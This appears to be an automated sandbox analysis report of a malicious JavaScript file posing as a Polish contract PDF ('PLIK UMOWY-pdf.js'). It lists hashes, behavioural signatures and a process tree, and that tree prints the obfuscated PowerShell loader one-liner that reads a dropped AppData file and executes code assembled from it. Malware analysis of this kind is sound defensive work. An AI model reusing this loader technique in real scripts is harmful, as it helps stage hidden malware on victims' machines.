Analysis
- max time kernel
148s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 13:02
Static task
static1
Behavioral task
behavioral1
Sample
PLIK UMOWY-pdf.js
Resource
win10v2004-20260513-en
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
PLIK UMOWY-pdf.js
Resource
win11ltsc2024-20260709-en
11 signatures
150 seconds
General
- Target PLIK UMOWY-pdf.js
- Size 39KB
- Sample260804-p998aaxvbw
- SHA256 0046ec45bc6c207c5cfb99bcf5d52c34b6a6e577e0dc621da8ab9da71228b517
- MD5 d114874d48b9b4069d8c8da0d4ca6a88
- SHA1 5cc8f49ece05472c4edf0a1a6d4c4e87a33193af
- SHA512 669eea2d57b0aa299952a857d52b1ad800808b6dd2fa80955a2be3b4faf9b9596070ec99339964890eac969ebabfcd6b8dc8ecd26e931bea4bbf40e654ae94f6
- SSDEEP 768:gvcDsClM/1HFUWubmf9VomoNnN/1BYj4fkirprnlYFClss4h8:Rs6M/5FLwmf4pYj4fZrtlYSz
- TLSH T1F703F664B71D153B0A45A6CCBB6EC74188F643980969F171B2AFCB49B704E8CC2F8D5E
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 8 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 3 4704 powershell.exe 7 4704 powershell.exe 13 4704 powershell.exe 17 4704 powershell.exe 18 4704 powershell.exe 20 4704 powershell.exe 22 4704 powershell.exe 23 4704 powershell.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk powershell.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
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pid Process 4704 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 6048 cmd.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4704 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4460 explorer.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2932 wrote to memory of 6076 2932 wscript.exe 90 PID 4460 wrote to memory of 6048 4460 explorer.exe 92 PID 6048 wrote to memory of 4704 6048 cmd.exe 94
Processes
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C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\PLIK UMOWY-pdf.js"1⤵
- Suspicious use of WriteProcessMemory
PID:2932 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe" "C:\Users\Admin\AppData\Local\Temp\Tautomeral.lnk"2⤵PID:6076
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4460 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c START "Bifagsstudiet" /min /HIGH powershell.exe -NOLOGO -COMMAND "$Rombudding21='/app'+'data';$Udsaltningerne=gc ($home+$Rombudding21+'/local/Menneskeforagtens');$Dumbfounder=$Udsaltningerne[5416]+$Udsaltningerne[5417]+$Udsaltningerne[5418]; . ($Dumbfounder) $Udsaltningerne"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6048 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NOLOGO -COMMAND "$Rombudding21='/app'+'data';$Udsaltningerne=gc ($home+$Rombudding21+'/local/Menneskeforagtens');$Dumbfounder=$Udsaltningerne[5416]+$Udsaltningerne[5417]+$Udsaltningerne[5418]; . ($Dumbfounder) $Udsaltningerne"3⤵
- Badlisted process makes network request
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4704
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\Tautomeral.lnk
- Size 1KB
- SHA256 5b4774a916fca7c14dc3bc5e027a29494654023cf257e90dbe814f6e399729ae
- MD5 d455d45d496780032e17c0af3329168d
- SHA1 f07cab2c3196d0c12e66c1d15d68f1837d6a90f3
- SHA512 b11220123c3a4c583d7c82ac235a222e6c4adb9e07388d06a3d07dac64e30750cca93c93de3bbe5f1cec826c6a5d60e237a1325759d624a01657e09118897e9c
- TLSH T10B2127184AD9172CF7B38F34A4BD6354D96BFC43E9629E0E019456890AF5310ACA1F7F
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\appdata\local\Menneskeforagtens
- Size 5KB
- SHA256 72be4d6d62e9a3e8b1aa0b5588b01063851622bca29fa2548426094d83e04bac
- MD5 cac68fe11600ac1541a314b075678d53
- SHA1 92f9cb1c29b2d1984109d9fd8f0b4453008a595c
- SHA512 14a54aa3cc2e58f821b598c10f492263bacc4a8fec4a24e7aad585b18ac6cecf7d261fb38e6418eac8e7fb061ed3d7c0f920ee5793dc80c867ceba511b0533d7
- SSDEEP 96:dBCiDK0CWlax009pYda+n3ekX/sc4/Bp8C9xXmfyZbbvcp9FFMmneu8gerIfa/c:/CD0CXx0h/sRz1XcyZMxqmninri
- TLSH T191B1B5779368E06C9482CA607429CC08947837F59D745D09B6F88A4CBCA3FC9C278AE8
- MD5 SHA1 SHA512 SSDEEP TLSH